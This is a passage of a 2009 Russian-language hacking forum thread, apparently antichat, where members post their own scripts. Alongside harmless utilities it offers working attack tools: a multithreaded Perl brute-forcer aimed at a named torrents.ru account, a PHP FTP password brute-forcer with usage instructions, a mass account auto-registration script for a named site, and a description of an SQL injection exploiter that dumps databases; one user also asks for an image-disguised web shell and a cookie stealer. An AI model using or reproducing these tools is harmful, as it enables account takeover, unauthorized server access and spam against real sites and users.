2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.


3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.


Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html


Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть. :)

lisa99
10.01.2009, 13:36
Основано на javasсriрt, если конкретней на lightgallery,
.........
и наслаждаетесь
я уже давно ajax наслаждаюсь)
А что здесь сделал именно ты? Чем лучше, чем у автора?
===
я не поленилась, бегло посмотрела архив. сжатая библиотека js...и тд.
в общем, в чем разница по сравнению с этим?
http://www.jstoolbox.com/proekty/lightgallery/

Pashkela
10.01.2009, 13:45
В автоматике добавления картинок. Только в этом. Нигде не видел варианта, где людям просто надо вписать кол-во картинок и название галереи и расширение на все файлы

А то, что основанно именно на lightgallery я и не скрывал, в посте по моему это отмечено (непонятно зачем бегло смотреть архив и не читать САМО сообщение)

t00th
10.01.2009, 19:45
Простой icq бот с кривым кодом, но кому надо исправит.
MySQL не знаю, тупо гуглом искал запросы
#!/usr/bin/python
# -*- coding: cp1251 -*-
from twisted.words.protocols import oscar
from twisted.internet import protocol, reactor
from urllib import quote
import urllib2
import re
import MySQLdb
import sys
import time
import md5

SN = ''
PASS = ''
icqMode = 1
hostport = ('login.icq.com', 5190)
infoMessage = "This is pyBot version 0.00001"
too_much = "Sorry but you can send only 1 requests per 10 seconds"

class B(oscar.BOSConnection):
capabilities = [oscar.CAP_CHAT]

def initDone(self):
self.requestSelfInfo().addCallback(self.gotSelfInf o)
self.requestSSI().addCallback(self.gotBuddyList)

def gotSelfInfo(self, user):
print user.__dict__
self.name = user.name

def gotBuddyList(self, l):
print l
self.activateSSI()
self.setProfile("""Fuck on this""")
self.setIdleTime(0)
self.clientReady()

def receiveMessage(self, user, multiparts, flags):
message = multiparts[0][0]
if message == '!reg':
self.reg(user.name)
if message.startswith('!weather') and self.check(user.name):
message, town = message.split()
self.sendMessage(user.name, self.weather(town), wantAck = 0, autoResponse = 0, offline = 0)
if message.startswith('!info') and self.check (user.name):
self.sendMessage(user.name, infoMessage, wantAck = 0, autoResponse = 0, offline = 0)
if message.startswith('!md5') and self.check(user.name):
message, md5_val = message.split()
self.sendMessage(user.name, self.md5_conv(md5_val), wantAck = 0, autoResponse = 0, offline = 0)

def check(self, uin):
if (self.check_uin(uin) and self.last_req(uin)):
return True

def check_uin(self, uin):
try:
conn = MySQLdb.connect(host= "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error", e
try:
cursor = conn.cursor()
cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)
result = [row[0] for row in cursor.fetchall()]
if not result:
print "You not registred in service"
else:
return True
except MySQLdb.Error, e:
print "Error", e
cursor.close()
conn.commit()
conn.close()

def md5_conv(self, value):
m = md5.new(value)
return m.hexdigest()

def weather(self, town):
url = 'http://pogoda.rbc.ru/search?search='
hex_town = quote(town)
res = urllib2.urlopen(url+hex_town).read()
day = re.search("<p class='today'><b>(.*)</b>", res, re.M)
if day:
return day.group(1)
else:
return "Town not found"

def last_req(self, uin):
try:
conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error", e
try:
cursor = conn.cursor()
cursor.execute("""SELECT last_req FROM users WHERE uin=%s""" % uin)
result = [row[0] for row in cursor.fetchall()]
result = int(time.time() - result[0])
cursor.execute("""UPDATE users SET last_req=%f WHERE uin='%s'""" % (time.time(), uin))
if (result > 10):
return True
else:
self.sendMessage(uin, too_much, wantAck = 0, autoResponse = 0, offline = 0)
except MySQLdb.Error, e:
print "Error", e
cursor.close()
conn.commit()
conn.close()

def reg(self, uin):
try:
conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
except MySQLdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
sys.exit(1)
try:
cursor = conn.cursor()
cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)
result = [row[0] for row in cursor.fetchall()]
if result:
self.sendMessage(uin, "You already registred in this service", wantAck = 0, autoResponse = 0, offline = 0)
else:
cursor.execute("""INSERT INTO users (uin, last_req) VALUES ('%s', '%s')""" % (uin,time.time()))
print "Number of rows inserted: %d" % cursor.rowcount
cursor.close()
except MySQLdb.Error, e:
print "Error %d: %s" % (e.args[0], e.args[1])
sys.exit(1)
conn.commit()
conn.close()
class OA(oscar.OscarAuthenticator):
BOSClass = B protocol.ClientCreator(reactor, OA, SN, PASS, icq=icqMode).connectTCP(*hostport)
reactor.run()

fuck all
10.01.2009, 22:12
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))

#!/usr/bin/perl

################################################## #
# В папку со скриптом киньте 2 файла: #
# pass.txt (Словарь), good.txt (Взбрученные аккки)#
################################################## #

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Torrent.ru Bruteforce by Fuck all\n";
print "\n Starting brute...\n";

open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
my @pass = <FP>;
close FP;

my $login_username = 'ALeXX'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);

$i=($i+1) % 5; #Количество потоков (5)

}

foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://torrents.ru/forum/login.php', {
'st.posted'=>'set',
'login_username'=>$_[0],
'login_password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[0]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
die ('PASSWORD FOUND!!!!!\n\n\n');
}
else
{
print "[-] BAD $_[1]\n";

}}

#c0ded by Fuck all;

D Mak
10.01.2009, 23:56
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))


смысл торент.ру брутить?
там итак нахаляву качать можно..

ANTIJABBER
11.01.2009, 00:23
смысл торент.ру брутить?
там итак нахаляву качать можно..
Рейтинг =)

Design_Corn
12.01.2009, 02:13
Постучал MazaFaker и попросил авторегер для одного сайта.
Сделал я авторегер через сокеты...

Давайте разберём скрипт.


<?php
//config//
error_reporting(0); //Что бы не показывало какие нить ошибки
set_time_limit(0); // Убераем ограничение на выполнение скрипта, по дефолту 30сек
$a = 0; //Для счетчика понадобится переменная
$go = $_GET['go']; //Гет парраметр , тоже для счетчика
while($a != $go){ //Вот и сам цикл, для создания n кол-ва акков
$r1 = rand(100,50000); //создаем любое число от 100 до 50000
$login = "capcha".$r1; // делаем наш логин
$pass = "mazafaker"; // делаем наш пасс
$mail = "capcha".$r1."%40mail.ru"; // делаем рандомное мыло
// %40 это кодированый символ @, в HTTP запросах обязательно писать %40

$fp = fsockopen("www.online-777.ru", 80, $errno, $errstr, 30); //Открываем сокет(Коннектимся к сайту)
if (!$fp) { //Если не приконектилось
echo "$errstr ($errno)<br />\n"; // выводим причину
} else { //иначе
$headers1 = "r_login=".$login."&r_pass=".$pass."&r_email=".$mail."&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC"; // Выполняем запрос такого вот вида, но о заголовках по позже
$headers = "POST http://www.online-777.ru/reg.php HTTP/1.1\r\n";
$headers .= "Host: www.online-777.ru\r\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n";
$headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$headers .= "Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n";
$headers .= "Accept-Encoding: gzip,deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://www.online-777.ru/reg.php\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1; //вычисляем длину переменной $headers1
fwrite($fp, $headers); //выполняем заголовок в сокете
echo $login.":".$pass."<br>"; //выводим наш пасс и логин
fclose($fp); //закрываем сокет
}
$a++; //плюсуем $a
}
?>


Теперь поговорим про сами заголовки.

Как получить заголовок?

Я пользуюсь плагином для FireFox , называется liveHttpHeaders
качаем тут (http://livehttpheaders.mozdev.org/installation.html#)
устанавливаем плагин.

Заходим в Инструменты->Дополнения и открываем наш плагин.
Заходим на сайт где нужен нам авторегер и регимся сначало вручную,теперь смотрим что появилось в том окошке плагина, а получиться должно что-то типа этого

POST /reg.php HTTP/1.1
Host: www.online-777.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.online-777.ru/reg.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
r_login=LoGiN111&r_pass=PaZzZz111&r_email=Mail%40mail.ru&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC

r_login=LoGiN111&r_pass=PaZzZz111&r_email=Mail%40mail.ru&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC[

Вот сама строчка пост запроса.

r_login=LoGiN111
r_pass=PaZzZz111
r_email=Mail%40mail.ru

Нам надо эту строчку приобразовать в
$headers1 = "r_login=".$login."&r_pass=".$pass."&r_email=".$mail."&r_name=&r_fam=&send=1&submit=%D1%EE%F5%F0%E0%ED%E8%F2%FC";

А все остальные пстроки мы вписываем в переменную $headers, но в конце каждой строчки добавляем \r\n.

Последнюю строчку запроса , тобиш вот эту
Content-Length: 113
мы преобразуем в
$headers .= "Content-Length: ".strlen($headers1)."\r\n\r\n".$headers1;
Тобиш мы автоматически вычесляем длинну нашего пост запроса и сразу же его выполняем.

Ну вроде бы и всё..




Думаю вам ещё не совсем понятно, т.к. это не совсем джля новичков написано, хотя кто его знает.

Всегда Ваш Капча))

Design_Corn
12.01.2009, 02:16
Вдруг понадобился брут фтп сервера.
Решил показать вам код и прокомментировать его.


<?php


//@Coder - Capcha
//@PHP ftp Brute v.1.0 ;)


//Config//
$host = $_GET['host']; //Передаём переменной $host IP адресс нашего фтп, через GET запрос
$passwords = "pass.txt"; //Файл с паролями
$user = $_GET['user']; //Передаём переменной $user логин от сервера
//------//

//Script//
if(isset($host)){ //Если существует переменная $host, т.е. если она не равна NULL, то
$pass = file($passwords); //каждую строку файла заганяем в каждую клетку массива переменной $pass
foreach($pass as $line){ //переменной $line придаётся значение каждой клетки массива
@$conn = ftp_connect($host);
if(!@$conn){ //Если не удалось приконнектится, то
die("<font color=orange>Connection Error</font>"); //заканчиваем работу скрипта
} else { //Иначе, если получилось приконнектиться, то
$line = trim($line); //отчищаем переменную $line от пробелов и от \n
echo $line." - "; //выводим пароль на екран
@$login = ftp_login($conn,$user,$line);
if(!@$login){ //Если не удаётся зайти на сервак под этим пассом и логином, то
echo "<font color=red>Access Denied</font><br>"; //выводим-с это и
@ftp_close($conn);//закрываем соединение
} else { //Иначе если удалось залогиниться, то
echo "<font color=green>Access Grunted</font><br>";//выводим вот это
@ftp_close($conn); //Закрываем соединение
}
}
}
}
?>

Как использывать скрипт?
www.site.ru/ftp.php?host=ftp.site.ru&user=admin

Собственно и всё, задавайте свои вопросы, если таковые имеются.

Design_Corn
12.01.2009, 02:20
Самое простое что нужно усвоить новичкам.

Продолжительность 5минут
Размер 45мб

.::Deposit (http://depositfiles.com/ru/files/s93onhomu)::.

Dr.Z3r0
12.01.2009, 23:41
Еще один раскрутчик SQl иньекций. Здесь пытался реализовать все что знаю. Чесно говоря даже не знаю зачем.

Что умеет?
- Да собственно скрипт проверяет переданный ему линк на скуль иньекты. Как? Очень просто скрипт использует BENCHMARK для того чтобы определить наличие SQL иньекта.
- Умеет обходить фильтрацию кавычек, пробелов, пары ключевых слов, чего там еще... да собственно вроде все.
- После того как скуль иньект обнаружен скрипт определяет количество полей, выводимое поле, и если версия мускуля пятая выводит дамп information_schema.

Вкратце это все... Конечно супер извращенную скулю он не раскрутит, но по идее должен хотябы показать ее наличие.

Собственно вот ниже скрипт. Юзаем как есть, то есть поддержку этого я не осуществляю. Юзаем так:
script.php?link=http://test.ru/news.php?id=1

* в архиве лежит пофиксенная версия.
И еще нашли ошибки - исправляйте их сами, мне этот скрипт до одного места, откровенно говоря.

Pashkela
16.01.2009, 14:52
Напрямую, минуя ваш компьютер.

Скрипт необязательно устанавливать туда, куда скачиваешь. На любой сайт с поддержкой php, чтобы было понятно:

1. Сайт, откуда скачиваешь
2. FTP (сайт), куда скачиваешь
3. Сайт, где установлен скрипт ( может не иметь никакого отношения к п.2 и может вообще быть не сайтом )


<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");

if(isset($submit))
{

$file = trim($_POST['d_file']); //Удаленный путь к файлу
$remote_file = trim($_POST['r_file']); //Локальный путь к файлу (абсолютный)

$ftp_server = trim($_POST['server']);
$ftp_user = trim($_POST['login']);
$ftp_pass = trim($_POST['pass']);


// установить соединение или выйти
$conn_id = ftp_connect($ftp_server) or die("Не удалось установить соединение с $ftp_server");

// попытка входа
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
echo "Произведен вход на $ftp_server под именем $ftp_user\n";
} else {
echo "Не удалось войти под именем $ftp_user\n";
}

// загрузка файла
if (ftp_put($conn_id, $remote_file, $file, FTP_BINARY)) {
echo "$file загружен на сервер\n";
} else {
echo "Не удалось загрузить $file на сервер\n";
}
// close the connection and the file handler
ftp_close($conn_id);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text; charset=windows-1251">
<title>FTP2FTP</title>
</head>
<bоdу>
<div align="center">
<form method="post">
<table>
<tr><td><span>Файл для скачивания(http://.../имя_файла)</span></td><td><input type="text" name="d_file" /></td></tr>
<tr><td><span>Путь для скачивания на фтп(абсолютный -/http/1/имя_файла)</span></td><td><input type="text" name="r_file" /></td>
<tr><td><span>FTP-сервер:</span></td><td><input type="text" name="server" /></td></tr>
<tr><td><span>FTP-login:</span></td><td><input type="text" name="login" /></td></tr>
<tr><td><span>FTP-password:</span></td><td><input type="password" name="pass" /></td></tr>
</table>
<input type="submit" name="submit" value="Start" />
</form>
</div>
</bоdу>
</html>
</pre>

hackmen
17.01.2009, 01:17
Еще один раскрутчик SQl иньекций. Здесь пытался реализовать все что знаю. Чесно говоря даже не знаю зачем.

Что умеет?
- Да собственно скрипт проверяет переданный ему линк на скуль иньекты. Как? Очень просто скрипт использует BENCHMARK для того чтобы определить наличие SQL иньекта.
- Умеет обходить фильтрацию кавычек, пробелов, пары ключевых слов, чего там еще... да собственно вроде все.
- После того как скуль иньект обнаружен скрипт определяет количество полей, выводимое поле, и если версия мускуля пятая выводит дамп information_schema.

Вкратце это все... Конечно супер извращенную скулю он не раскрутит, но по идее должен хотябы показать ее наличие.

Собственно вот ниже скрипт. Юзаем как есть, то есть поддержку этого я не осуществляю. Юзаем так:
script.php?link=http://test.ru/news.php?id=1

Перепробовал много простых инъекций. Всегда определяет количество столбцов равное 6 и дальше работа скрипта загибается. Нашел в запасах скулю с 6 столбцами- работает превосходно. В чем может быть проблема?

Pashkela
18.01.2009, 04:49
Простой сканер сайтов, который поможет выявить наличие на сайте той или иной папки или файла, что иногда может быть очень полезно при определенных обстоятельствах. Есть возможность пополнять словарь для брута и файл ошибок, возвращенных браузером, когда папка или файл не найдены. Т.е. настраивается практически на любой сайт. Readme в архиве. Найденные результаты запишет в файл.


Скачать (http://pashkela.narod.ru/progi/SiteScaner.rar)

heretic1990
21.01.2009, 16:33
PHP Скрипт , который обрабатывает формы и сохраняет непосредственно в файл Excel.
<html>
<head><title>
<?php

//Code by apg88 "apgForm(toExcel) 1.4"
// Determine if the form was sent through the GET methog or the POST method.
if($_GET){
$array = $_GET;
}else if($_POST){
$array = $_POST;
} else {
echo "You must Access this file through a form."; // If someone accesses the file directly, it wont work :)
}


if(!$array['title']){
// if the title wasnt sent through the form, it will become whatever you set it equal to in the next line
$array['title'] = "apgForm"; //Set default title to be displayed
}
echo $array['title'] .'</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>';

//Check if the filename was sent through the form or not
if(!$array['filename']){
// if the filename wasnt sent through the form, it will become form.xls, you can change the default if you want.
$array['filename'] = "form.xls"; //Set the file to save the information in

} else {
if(!(stristr($array['filename'],".xls"))){
$array['filename'] = $array['filename'] . ".xls";
}
}


// Change this to whatever you want the users to see after the form is processed
$continue = ' Here is a the Comment form your info was just sent to <a href="test.xls">Click
Here</a> to see the excel file.<br> <a href = "index.php">Click Here</a> To Return to apgForm ';

// Change this to the character(s) you want to be placed instead of line breaks(new line, enter, etc)
$lbChar = " "; // default is a space, you may change it to whatever you want


//-------------------------------------------------------------------------------------
//----------------You do not need to change anything below this line-------------------
//-------------------------------------------------------------------------------------


// Define the tab and carriage return characters:
$tab = "\t"; //chr(9);
$cr = "\n"; //chr(13);

if($array){
// Make The Top row for the excel file and store it in the $header variable
$keys = array_keys($array);
foreach($keys as $key){
if(strtolower($key) != 'filename' && strtolower($key) != 'title'){
$header .= $key . $tab;
}
}
$header .= $cr;

//Make the line with the contents to write to the excel file.
foreach($keys as $key){
if(strtolower($key) != 'filename' && strtolower($key) != 'title'){

$array[$key] = str_replace("\n",$lbChar,$array[$key]);
$array[$key] = preg_replace('/([\r\n])/e',"ord('$1')==10?'':''",$array[$key]);
$array[$key] = str_replace("\\","",$array[$key]);
$array[$key] = str_replace($tab, " ", $array[$key]);
$data .= $array[$key] . $tab ;
}
}
$data .= $cr;


if (file_exists($array['filename'])) {
$final_data = $data; //if the file does exist, then only write the information the user sent
} else {
$final_data = $header . $data; //if file does not exist, write the header(first line in excel with titles) to the file
}
// open the file and write to it

$fp = fopen($array['filename'],"a"); // $fp is now the file pointer to file $array['filename']

if($fp){

fwrite($fp,$final_data); //Write information to the file
fclose($fp); // Close the file
echo "Form Received Successfully! <br> " . $continue;
} else {
echo "Error receiving form! <br>" . $continue;
}
}
?>

</body>
</html>

Shadow_p1raT
23.01.2009, 18:55
Вообщем думаю что написал полный бред,так как писал не совсем в трезвом состоянии)
Ещё один класс для работы с мускулем.

<?php
/* Есчё один классок для базы данных MySQL
*
* Скрип писался не совсем в трезвом состоянии)
*
* [p1r47] aka Shadow_p1raT
*
* icq:9930875
*/


class My_SQL
{
var $user_name;
var $password;
var $db_host;
var $db_name;
var $des; # Дескриптор подключения

/*
* Конструктор класса
* @param string $username - Логин пользователя
* @param string $password - Пароль пользрвателя
* @param string $dbname - Имя базы
* @param string $dbhost - Хост. по дефолту = localhost
*/
function __construct($username,$password,$dbname,$dbhost = 'localhost')
{
$this->db_host = $dbhost;
$this->db_name = $dbname;
$this->user_name = $username;
$this->password = $password;
}
/*
* Функция соединения с базой данных
*
*/
function connect()
{
$this->des = mysql_pconnect($this->db_host,$this->user_name,$this->password);
if(!is_resource($this->des))
{
die('Невозможно подключиться к базе Данных');
}
if(!mysql_select_db($this->db_name,$this->des))
{
die('Невозможно выбрать базу данных');
}
}
/*
* Выполняем запрос к базе данных
* @param string $query - Строка запроса
* @param string $function - Функция обработки данных после вполнения запроса
* @return void
*/
function execute($query,$function = '')
{
if(!$this->des)
{
$this->connect();
}
$res = mysql_query($query,$this->des);
if(!is_resource($res))
{
die('Неудалось выполнить запрос к базе данных');
}
if(!$function == '')
{
if($func = call_user_func(create_function('$res','return '. $function),$res))
{
return $func;
}
}
return($res);
}
}

Пример использывания

<?php
$db = new My_SQL('root','','roa');
$db->connect();
print_r($db->execute('SELECT * FROM `users`','mysql_fetch_array($res);'));
?>

ЗЫ если такое уже есть или я ваще сумашедший - delete post
ЗЫЫ Ой,cлучайно спалил секретную таблицу РОА

groundhog
23.01.2009, 19:01
Shadow_p1raT, по-твоему это класс? :) Так "классок" обёртка для двух методов... И нафига ты используешь постоянный коннекты? Почему не предусмотреть возможность переключения режима? Почему не сделать методы чтобы возвращать всё в массиве? Почему не сделать методы экранирования строк?

procedure
23.01.2009, 21:55
Скрипт узнает текст который будет в игре по id:
(клавагонки)
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.Net;
using System.IO;

namespace TestConsole
{
class Program
{
public static StreamWriter fstr_out;

static void Main(string[] args)
{
while (true)
{
Console.WriteLine("Создатель этой программы - procedure");
Console.WriteLine("Please enter game id: ");
string id = Console.ReadLine();
Worker work = new Worker(id);
}
}
}

public class Worker
{
public Worker(string id)
{

HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create("http://klavogonki.ru" + "/play/" + id + ".info");
//This string for delete if release
req.Proxy = new WebProxy("127.0.0.1", 8888);
req.UserAgent = @"Mozila/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; MyIE2;";
req.Accept = @"text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1";
req.Headers.Add("Accept-Language", "ru");
req.ContentType = "application/x-www-form-urlencoded";
req.Method = "POST";
req.Referer = "http://klavogonki.ru/go?type=normal";
req.AllowAutoRedirect = false;
//Cookie
req.CookieContainer = new CookieContainer();

//Create Response
HttpWebResponse resp = (HttpWebResponse)req.GetResponse();

StreamReader stream =
new StreamReader(resp.GetResponseStream(), Encoding.GetEncoding(1251));
string str = stream.ReadToEnd();

Match m = Regex.Match(str, @"text\S{3}.+\S{3}length");
string str1 = String.Empty;
while (m.Success)
{
str1 += m.Value;
m = m.NextMatch();
}

char[] ch = str1.ToCharArray();
string result = String.Empty;
for (int i = 0; i < ch.Length; i++)
{
if (i < 26 || i > (ch.Length - 10))
continue;
result += ch[i].ToString();
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Text: " + ParseResult(result));
Console.ForegroundColor = ConsoleColor.White;
}

private string ParseResult(string sub)
{
char[] ch = sub.ToCharArray();
char separate = '\\';
List<int> ignore = new List<int>();

string subb = String.Empty;
for (int i = 0; i < ch.Length; i++)
{
if (i == (ch.Length - 1))
{
subb += ch[i].ToString();
continue;
}
if (ch[i] == separate)
{
int f = i;
for (int n = 0; n < 6; n++)
{
ignore.Add(f++);
}
f = f - 3;
string res = String.Empty;
for (int k = 0; k < 3; k++)
{
res += ch[f++].ToString();
}

subb += Convert.ToChar(int.Parse(res, System.Globalization.NumberStyles.AllowHexSpecifie r)).ToString();
}
else
{
bool status = true;
foreach (int item in ignore)
{
if (item == i)
{
status = false;
}
}
if (status)
{
subb += ch[i].ToString();
}
}
}
return subb;
}
}
}

heretic1990
23.01.2009, 23:39
procedure Я думаю тебе сюда http://forum.antichat.ru/forum24.html

kik8888
24.01.2009, 17:52
<?php

set_time_limit(0);

//фyнкция для socks4, пocлe кoтopoй paбoтa вeдeтcя aнaлoгичнo fsockopen()
//в cлyчae нeyдaчи вoзвpaщaeт false, кoд oшибки($errno), oпиcaниe oшибки($errstr)
function socks4_open($socks4_h, $socks4_p, $host, $port, &$errno, &$errstr, $timeout=30)
{
if (!($connect = fsockopen($socks4_h, $socks4_p, $errno, $errstr, $timeout))) return false;
$q = pack('C2', 0x04, 0x01);
$q .= pack('n', $port);
if (preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/", gethostbyname($host), $arr))
$q .= pack('C4', $arr[1], $arr[2], $arr[3], $arr[4]);
$q .= 0;
$q .= pack('C', 0);
if (!fputs($connect, $q)) return false;
if (!($otv = fgets($connect, 9))) return false;
$otv = unpack('Cvn/Ccd', substr($otv, 0, 2));
if (0 != $otv['vn']) return false;
if (90 == $otv['cd']) return $connect; else return false;
}

//пpимep зaпpoca
$q = "GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";

//пpимep paбoты socks4_open()
$connect = socks4_open("216.114.194.19", 1080, 'mail.ru', 80, $errno, $errstr, 30);
if (!$connect)
{
echo "$errstr ($errno)<br>\n";
}
else
{
fputs($connect, $q);
while (!feof($connect))
{
$answer .= fgets($connect, 1024);
}
fclose($connect);
}
echo $answer;

?>

ntldr
25.01.2009, 20:33
У кого нибудь есть реггер сайтов на народе? типа ввёл список юзернеймов и сидишь вводишь капчи?

heretic1990
25.01.2009, 20:50
У кого нибудь есть реггер сайтов на народе? типа ввёл список юзернеймов и сидишь вводишь капчи?
здесь глянь http://www.nulled.ws/showthread.php?t=55308

kik8888
25.01.2009, 22:27
Аналоги функции mysql: INET_ATON, INET_NTOA.
на php, может кому пригодится:.

<?

function inet_aton($ip){
$ip = ip2long($ip);
($ip < 0) ? $ip+=4294967296 : true;
return $ip;
}

function inet_ntoa($int){
// long2ip принимает на вход также беззнаковые
// INT, т.е. полностью идентичен inet_ntoa
return long2ip($int);
}

//пример работы
$ip=array();
$ip[]='255.255.255.255';
$ip[]='0.0.0.1';
$ip[]='0.0.0.0';
$ip[]='127.0.0.1';
$ip[]='251.56.5.210';
$ip[]='255.56.5.210';
$ip[]='10.0.0.1';
$ip[]='192.168.0.1';
$ip[]='191.168.0.1';
$ip[]='193.168.0.1';

foreach ($ip as $v){
echo $v." -> ".inet_aton($v)." | ".inet_aton($v)." -> ".inet_ntoa(inet_aton($v))."<br>\n\r";
}

?>

waik
25.01.2009, 23:50
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))

У меня неробит ,пробовал на своём акке и он говорид мол мой пароль бад и нечего в good.txt непишет


.

heretic1990
26.01.2009, 00:07
Вот мой Torrents.ru брут на перле:
З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))

У меня неробит ,пробовал на своём акке и он говорид мол мой пароль бад и нечего в good.txt непишет


.
А где скрипт? :confused:

#Wolf#
26.01.2009, 04:51
А где скрипт? :confused:
вот
.
:D

fuck all
26.01.2009, 14:20
2 #Wolf#,heretic1990: Эт он типа мой пост цитировал так :D

2 waik: я только что все проверил,скрипт пашет и норм записывает в good.txt сбрученные акки,так что я незнаю чё оно у тебя невыходит...

rudvil
26.01.2009, 16:49
Умножение вектора на матрицу, код + пример

<?php

$vector = array ();
$matrix = array ();
$vector = array (1, 2, 3);
$matrix[0][0] = 1;
$matrix[0][1] = 0;
$matrix[0][2] = 0;
$matrix[1][0] = 0;
$matrix[1][1] = 1;
$matrix[1][2] = 0;
$matrix[2][0] = 1 / 2;
$matrix[2][1] = 0;
$matrix[2][2] = 1 / 2;

function multmatrix($v, $m)
{
$output = array ();
if (!is_array ($v) || !is_array ($m))
{
return false;
}
if (count ($m) != count ($v))
{
return false;
}
for ( $i = 0; $i < count ($m); $i++)
{
$cnt = 0;
for ( $j = 0; $j < count ($m[$i]); $j++)
{
$cnt++;
}
if ($cnt != count ($v))
{
return false;
}
}
for ( $i = 0; $i < count ($m); $i++)
{
$temp = 0;
for ( $j = 0; $j < count ($m[$i]); $j++)
{
$temp += ($v[$j] * $m[$j][$i]);
}
$output[] = $temp;
}
return $output;
}

print_r (multmatrix($vector, $matrix));

?>

Chaak
26.01.2009, 22:54
Нарыл у себя функцию получения страницы с возможностью работы через http-proxy:
function socket_do($action, $method, $headers, $query = '', $proxy = '')
{
$fp = '';
$head = '';

$action = str_replace('http://', '', $action);
$for_s_conn = substr($action, 0, strpos($action, '/'));
$method = strtoupper($method);

if(!empty($proxy))
{
$ex = explode(':', $proxy);
if(!$fp = @fsockopen($ex['0'], $ex['1'], $errno, $errstr, 15))
die($errstr);
}
else
{
if(!$fp = @fsockopen($for_s_conn, 80, $errno, $errstr, 15))
die($errstr);
}


if($method == 'POST')
{
$head = "POST http://$action HTTP/1.1\r\n";
$head .= "Content-length: ".strlen($query)."\r\n";
}
elseif($method == 'GET')
$head = "GET http://$action HTTP/1.1\r\n";
else
die('Выбран не существующий метод');

$head .= "Connection: close\r\n";
$head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\r\n";
$head .= "Host: $for_s_conn\r\n".implode("\r\n", $headers)."\r\n\r\n";

if($method == 'POST')
$head .= $query;

if(@!fwrite($fp, $head))
{
die($errstr);
}

$result = '';
while(!feof($fp))
$result .= @fgets($fp, 8196);

fclose($fp);

return $result;
}

Mirella
28.01.2009, 03:17
есть у кого нибудь скрипт ,что при вставлении в картинку и заливки на сервер откроет все его директории и может скачать файлы.

также нужен хороший скриптик угона кук )

159932
28.01.2009, 04:04
есть у кого нибудь скрипт ,что при вставлении в картинку и заливки на сервер откроет все его директории и может скачать файлы.

также нужен хороший скриптик угона кук )
1. а ключ от квартиры где деньги лежат?
мб ты имел ввиду шелл, который можно залить с нужным именем а потом исполнить?
2. что значит скрипт угона кук ? в смысле гейт куда будут приниматся угнаные?

nicusor
29.01.2009, 15:09
